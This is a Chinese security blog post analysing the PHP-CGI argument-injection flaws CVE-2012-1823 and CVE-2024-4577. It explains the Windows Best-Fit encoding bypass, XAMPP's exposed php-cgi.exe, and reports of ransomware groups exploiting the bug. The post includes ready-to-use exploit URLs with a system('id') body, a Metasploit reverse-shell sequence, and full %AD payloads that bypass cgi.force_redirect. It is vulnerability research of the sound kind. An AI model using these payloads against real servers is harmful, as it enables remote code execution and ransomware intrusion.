申明:本文仅供技术交流,请自觉遵守网络安全相关法律法规,切勿利用文章内的相关技术从事非法活动,如因此产生的一切不良后果与文章作者无关。
0x01 漏洞描述
作为世界上最不安全的语言—PHP,继上次爆出CVE-2024-2961(https://mp.weixin.qq.com/s/hZ9yaa2exQC5hr4OKWNUsw)后,6月7日(端午假期前一天)国内各大威胁情报平台和公众号都披露了它的最新RCE漏洞:CVE-2024-4577。相信各位师傅都已经知道了这个漏洞是怎么回事并进行复现了,本文还是记录下对这个漏洞的一个学习过程。
原作者Orange师傅所在团队发的博客文章(https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/)对于该漏洞是这样描述的:
在实现PHP时,PHP团队没有注意到Windows操作系统中编码转换的Best-Fit特性,这一疏忽使得未经身份验证的攻击者可以通过特定的字符序列绕过此前CVE-2012-1823的防护,通过参数注入攻击在远程PHP服务器上执行任意代码。
0x02 前世传奇—CVE-2012-1823
我想,要更好地理解这个漏洞,应当先了解下它的前世。考古p牛师傅七年前写的详细分析CVE-2012-1823这个漏洞的文章(https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html)。
1.php的sapi
PHP中有一个叫sapi的东西,sapi在PHP中的作用,类似于一个消息的“传递者”。PHP中有三个常见的sapi:
(1)Php-fpm:一个fastcgi协议解析器,它的作用就是接受Web容器通过fastcgi协议封装好的数据,并交给PHP解释器执行。关于php-fpm与fastcgi协议可以看p牛的另一篇文章:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
(2)Mod_php:用于php和apache之间的数据交换;
(3)Php-cgi:它有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。CVE-2012-1823就是php-cgi这个sapi出现的漏洞,且只出现在以cgi模式运行的php中。
现在来看,php-cgi是远古时代的产物,它可以以fastcgi模式运行,fpm也可以以fastcgi模式运行。但fpm是php在5.3版本以后引入的,是一个更高效的fastcgi管理器,由于fpm优点更多,现在越来越多的web应用使用php-fpm去运行php。
了解了这三个常见的sapi,也就能理解为什么发现CVE-2024-4577这个漏洞作者的团队博客开篇会放下面这张图了:
2.漏洞原理
再回到CVE-2012-1823这个漏洞上来,当php以cgi模式运行时,Web 服务器解析 HTTP 请求并将其传递给 PHP 脚本,然后脚本对其进行一些处理。例如,querystrings(查询字符串)被解析并传递给命令行上的 PHP 解释器 - 例如,http://host/cgi.php?foo=bar 之类的请求可能会被执行为 php.exe cgi.php foo=bar。
而根据RFC3875(http://www.ietf.org/rfc/rfc3875)中规定,当querystring中不包含没有解码的=
号(通常用于分隔参数名称和值)的情况下(即URL 缺少=
字符时),要将querystring作为cgi的参数传入。也可以理解为URI 在没有经过足够的过滤或编码的情况下被传递给 php-cgi 二进制文件,从而允许攻击者向 php-cgi 命令行传递额外的参数。那么要利用这个漏洞就得知道php-cgi有哪些参数。通过执行php-cgi -h
进行查看:
最简单的利用方式就是使用-s
参数查看源代码,高端的利用方式就是使用-d
参数来修改配置项获得RCE。怎么修改呢?
自版本 4.2.3 开始,PHP 有一个名为 auto_prepend_file
的配置项,它告诉PHP,在执行目标文件之前,先包含auto_prepend_file
中指定的文件,就像它是用 require 函数调用的一样。现在我们希望PHP从 HTTP 请求中读取 PHP 代码,故配置该项为php://input
,把待执行的代码放在Body,这样在执行任何php文件前都要包含一遍请求体的内容,造成远程代码执行。当然,要使用 php://input
,需要启用 allow_url_include
,可以使用 -d allow_url_include=1
或allow_url_include=on
轻松将其打开。
http://vulnerable/xx.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
<?php system('id'); ?>
注意:空格用+
或%20
代替,=
用url编码代替
3.漏洞复现与利用
使用vulhub(https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823)来复现这个漏洞:
cd /vulhub/php/CVE-2012-1823
docker compose up -d
访问http://ip:8080/?-s读取源码:
命令执行,get和post请求都可以:
也可以使用msf来进行漏洞利用:
msfconsole
use exploit/multi/http/php_cgi_arg_injection
set payload php/meterpreter/reverse_tcp
set rhost 10.211.55.5
set rport 8080
set lhost 10.211.55.3
set lport 3344
exploit
这个漏洞在当时也是“轰动一时”,该漏洞也是修复了两次才在php5.4.3和php5.3.13中完成补丁(详见p牛博客),最终修复的方法是:检查query_string时先跳过所有空白符(小于等于空格的所有字符),再判断第一个字符是否是-
,是的话则设置skip_getopt,也就是不要获取命令行参数。
0x03 今生故事—CVE-2024-4577
1.Windows的Best-Fit特性
当Orange(https://blog.orange.tw/)在准备 Black Hat USA 演讲时意外发现一个在过去 12 年里经过审查并证明是安全的补丁,会因为一个小小的 Windows 功能(Best-Fit)而被绕过。那么windows的Best-Fit是怎么回事呢?
在Windows中,如果当前系统的字符集(也被称为代码页,Code Page)非Unicode编码,在main()函数获取argv的时候,会自动执行编码的转换,其中就会涉及到所谓的Best-Fit。
Best-Fit是一种字符映射策略,用以解决源代码页中的字符在目标代码页中没有直接等价物时的问题。在将Unicode代码页中字符转换成非Unicode代码页字符时,如果无法找到对应的字符,就会按照Best-Fit预定义的一个转换表进行转换。 比如,GBK编码(cp936)的Best-Fit Mapping转换表是:https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt。
这次的补丁绕过就是利用该特性绕过了对-
的检查:0xad在转换后会变成-
根据这个特性,可以使用%ad来代替横线-
。PHP在执行检查的时候,会认为命令行的第一个字符是0xAD;实际上main()函数的argv的第一个字符已经被Windows按照best-fit mapping转换成-
。
从本质来说,这仍然是一个利用解析差异绕过防御措施的案例。
2.什么情况下才会使用Best-Bit转换字符串
p牛做了几个测试:
php -h => php xadh => 成功
php -v => php xadv => 出错
python -h => python xadh => 出错
arp -h => arp xadh => 成功
阅读PHP代码就会发现,有一部分选项是直接使用的main()函数的argv,另一部分选项是从Windows API GetCommandLineW()函数获取。由GetCommandLineW()获取的这部分参数仍然保持原样,没有转换成横线,最后无法正确执行。
3.默认的XAMPP为什么可以被利用
在windows上安装最新的xampp8.2.12,访问phpinfo,可以看到它是以Apache 2.0 Handler方式来部署的,并不是cgi模式:
但通过查看apache配置文件(C:xamppapacheconfextrahttpd-xampp.conf)可以发现,它为cgi留了一个口子:
ScriptAlias /php-cgi/ "/xampp/php/"
ScriptAlias指令的作用是将/php-cgi/路径指向/xampp/php/目录,而该目录下就有一个php-cgi.exe程序!
故而可以看到最开始给出的poc(https://github.com/TAM-K592/CVE-2024-4577/blob/main/cve_2024_4577.py):
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
然而当我们启动xampp8.2.12,在burp中使用这个poc却返回了500:
这是为什么?
4.为什么返回500?
要正确配置使用php-cgi,除了ScriptAlias指令将php-cgi可执行文件映射到对应目录下,还要使用Apache的Action指令,将PHP相关请求“重定向”到php-cgi上,最后执行PHP代码。此时的配置类似如下:
ScriptAlias /php-cgi/ "/xampp/php/"
<Directory "/xampp/htdocs">
AddHandler application/x-httpd-php .php
Action application/x-httpd-php /php-cgi/php-cgi.exe
</Directory>
Action指令的作用就是将所有对.php文件的请求都使用/php-cgi/php-cgi.exe,也就是/xampp/php/php-cgi.exe来执行。
Apache在调用php-cgi的时候,会设置环境变量REDIRECT_STATUS。php-cgi为了确认这个请求确实是由Action指令执行的,而不是用户直接请求的,增加了一个开关“cgi.force_redirect”,默认开启。开启这个开关的情况下,php-cgi会验证此次执行是否包含环境变量REDIRECT_STATUS。关于这个安全机制,PHP官方文档有说明:https://www.php.net/security.cgi-bin/
然而在xampp中Action指令被注释了:
由于有cgi.force_redirect的限制,在没有Action指令的情况下直接访问php-cgi.exe,REDIRECT_STATUS环境变量不会被设置,直接访问/php-cgi/php-cgi.exe会返回500:
所以在利用CVE-2024-4577漏洞时,添加-d cgi.force_redirect=0
关闭这个开关,即可绕过限制了:
HTTP头中增加Redirect-Status: 1,也可以成功利用漏洞:
另外,在高版本PHP中,allow_url_include这个开关已经被废弃,所以会抛出一个警告,导致Content-Type头输出失败,也会返回500。需要添加一个-d error_reporting=0
来规避这一点。
所以这个漏洞利用的完整payload如下:
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+error_reporting%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
/cgi-bin/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+error_reporting%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
watchtowr的那篇分析文章(https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/)显然就不是在xampp的默认配置下分析的,看他们最终rce的截图就知道了:
5.发现在野利用
6月11日,奇安信CERT发布消息称自6月7号该漏洞细节披露后,出现了多起以该漏洞为攻击向量的攻击事件(https://mp.weixin.qq.com/s/H54D4F5uLzCdrCHiFKfqLQ)
6月11日,索勒安全团队发布紧急警示Locked勒索病毒利用最新PHP远程代码执行漏洞大规模批量勒索(https://mp.weixin.qq.com/s/YzrrdlEN3z0fZ6GmhiW-jA)
6月12日,微步在线发布消息称捕获到tellyouthepass勒索团伙利用该漏洞对XAMPP默认配置搭建的PHP Web服务的勒索行动(https://mp.weixin.qq.com/s/ZbH7TMo5DKAuq-nVUQCQTw)
0x04 总结
1.CVE-2012-1823利用条件是PHP-CGI启动 或者 php-cgi.exe/php.exe 暴露于cgi目录下(如/php-cgi/,/cgi-bin),在windows和linux下都受到影响;CVE-2024-4577除了要满足上面的条件还要满足是Windows平台且使用了包括但不限于如下语系(简体中文936/繁体中文950/日文932),xampp的默认配置天然满足条件。
2.目前php团队发布了新版本来修复这个漏洞,xampp尚未发布新版本来规避这个漏洞,DEVCORE团队提出了临时修复方法,详情请看:
https://mp.weixin.qq.com/s/JMonOEKGZkkbNZiN15eiEA
另外,watchtowr团队分析的中文翻译版请看:
https://mp.weixin.qq.com/s/3p9X9chBohSL-t6u5ovcjg
在下不才,如有翻译错误欢迎指正。
参考链接:
p牛博客
p牛代码审计知识星球
https://blog.orange.tw/
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
https://pentesterlab.com/exercises/cve-2012-1823/course?ref=labs.watchtowr.com
如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~
原文始发于微信公众号(沃克学安全):来聊聊PHP最新RCE—CVE-2024-4577的前世今生
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论